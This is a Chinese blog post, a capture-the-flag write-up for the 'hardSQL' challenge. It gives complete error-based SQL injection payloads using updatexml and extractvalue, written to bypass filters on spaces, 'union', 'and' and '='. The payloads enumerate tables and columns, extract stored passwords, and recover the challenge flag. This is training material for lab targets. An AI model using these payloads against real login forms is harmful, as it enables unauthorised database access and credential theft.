[極客大挑戰 2019]hardSQL

嘉璇發表於2020-10-27

在這裡插入圖片描述
開啟題目,發現這也還是一個SQL隱碼攻擊的題目。難度可能比之前的大,也就加了點過濾吧。
通過測試發現過濾了union,and,等於號,空格
可以使用updatexml或extractvalue報錯注入法

查表:

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=admin

查列:

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin

查內容:

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=admin

在這裡插入圖片描述
此時只得到了flag的左半部分,可以使用right()得到右半部分

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23&password=asdf

在這裡插入圖片描述
拼起來就可以得到flag了(記得去掉重複部分)
flag{21ef294f-3972-4f87-bd09-a5ea22ea3a34}

使用extractvalue報錯注入法:
查表:

username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e))))%23&password=admin

查列:

username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e))))%23&password=admin

查內容:

username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e))))%23&password=admin
username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e))))%23&password=admin

相關文章